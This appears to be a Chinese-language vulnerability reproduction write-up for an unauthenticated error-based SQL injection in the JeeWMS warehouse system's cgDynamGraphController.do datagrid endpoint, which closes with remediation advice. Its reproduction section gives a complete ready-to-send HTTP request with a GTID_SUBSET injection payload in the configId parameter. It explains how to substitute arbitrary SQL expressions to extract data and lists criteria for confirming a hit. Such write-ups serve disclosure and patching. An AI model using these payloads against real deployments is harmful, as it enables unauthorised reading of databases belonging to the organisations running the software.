JeeWMS cgDynamGraphController.do 报错注入漏洞复现
JeeWMS cgDynamGraphController.do 报错注入漏洞复现
0x00 概述
JEEWMS 是一款基于 Java(Spring MVC + MyBatis + MySQL)构建的开源仓库管理系统,源码托管于 Gitee 的 erzhongxmu/JeeWMS 仓库。该系统沿用了 JEECG 快速开发平台的"在线报表"体系,其中动态图表模块的控制器 CgDynamGraphController 负责根据配置编码渲染统计图表数据。
公开漏洞收录信息显示,该系统 /cgDynamGraphController.do 接口存在 SQL 注入漏洞:datagrid 动作的 configId 参数未做任何过滤即拼入 SQL 语句,未经身份验证的远程攻击者可借助 MySQL 报错注入通道获取数据库敏感信息,CVSS 评分 8.5。该漏洞于 2025 年 8 月 12 日披露,公开渠道未检索到官方补丁通告。
0x01 影响版本
- 产品:JEEWMS(厦门市灵鹿谷科技有限公司)
- 漏洞接口:
/cgDynamGraphController.do?datagrid(configId参数) - 具体受影响版本号未在公开渠道明确标注。经对开源仓库源码核对,
CgDynamGraphController的datagrid方法及对应数据访问模板未包含对configId的过滤逻辑,据此推断现行开源版本均受影响(此为基于源码比对的推断)。 - 前置条件:目标可达该接口即可,利用过程无需任何认证。
0x02 漏洞利用
漏洞根源在于配置参数以字符串插值方式进入 SQL。控制器源码中,datagrid 方法将请求参数 configId 原样传入 cgDynamGraphService.queryCgDynamGraphConfig(configId),最终由 MiniDao 按 SQL 模板执行,模板文件 CgDynamGraphDao_queryCgDynamGraphMainConfig.sql 的关键内容为:
select ... from jform_cgdynamgraph_head ch where ch.code = '${id}'${id} 为直接字符串替换而非参数绑定,configId 中的单引号可以闭合 ch.code = '...' 的引号边界,后续内容整体进入 SQL 语法层。
控制器类与方法上均无鉴权注解,且该接口不在系统的鉴权拦截范围内,因此未登录用户可直接访问。闭合引号后,攻击者构造 AND GTID_SUBSET(CONCAT(0x71767a7071, <表达式>, 0x71767a7071), 2315) 形式的载荷:GTID_SUBSET 第一个参数非法时抛出 MySQL 报错,错误文本中会携带 CONCAT 拼接的内容;0x71767a7071 是字符串 qvzpq 的十六进制,用作回显结果的起止标记。数据库异常被控制器捕获后以 "查找动态报表配置失败!" + e.getMessage() 的形式再次抛出,错误消息(含注入结果)随之进入响应——异常最终如何呈现到响应体属推断,但从利用判定逻辑看报错文本确实可随响应返回。
0x03 复现步骤
以脱敏后的测试目标为例(域名主段已掩码),验证报错注入通道的请求包如下:
POST /cgDynamGraphController.do?datagrid HTTP/1.1
Host: wms.***.com
Connection: keep-alive
Accept-Encoding: gzip, deflate, br
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
configId='+AND+GTID_SUBSET(CONCAT(0x71767a7071,md5(7465132),0x71767a7071),2315)--+UwdJ要点说明:
configId='闭合模板中ch.code = '的左引号,-- +UwdJ注释掉语句尾部残留;md5(7465132)为固定已知值的 MD5 探针:若响应中出现该 MD5 值,证明报错回显通道成立;- 请求未携带任何 Cookie 或 Token,全程未认证。
将 md5(7465132) 替换为任意 SQL 表达式即可完成数据读取,例如读取当前数据库用户(表达式默认可取 user()、version()、databa se()):
configId='+AND+GTID_SUBSET(CONCAT(0x71767a7071,version(),0x71767a7071),2315)--+UwdJ回显结果位于两个 qvzpq 标记之间,从响应体中提取标记间的片段即得表达式的求值结果。
0x04 判定
利用是否命中的判定条件:
1. 响应状态码为 200;
2. 探针步:响应体包含探测载荷中随机数值对应的 MD5 计算值(如上述 md5(7465132) 的结果)。若两个条件同时成立,可判定报错注入通道有效;
3. 数据读取步:若响应体中 qvzpq……qvzpq 标记之间出现与所提交 SQL 表达式一致的求值结果(如 version() 对应的数据库版本字符串),即可确认注入成功并提取数据。
若响应状态码非 200 或响应体无标记内容,则视为该目标不受影响或载荷被过滤。
0x05 总结
该漏洞与 JEECG 系"在线报表"家族此前公开的多个注入问题(如 graphReportController.do、cgAutoListController.do 接口的 CVE-2025-0392、CVE-2025-5384)同源,本质均是报表配置标识被字符串插值直接拼入 SQL。修复建议:
- 升级至官方最新版本;
- 若暂时无法升级,应在入口处对
configId做严格白名单校验(仅允许字母数字),或将 MiniDao 模板中${id}改为参数化占位符; - 对报表类接口补充统一的认证与鉴权拦截。
参考资料:

Wayyt 7小时前
最新评论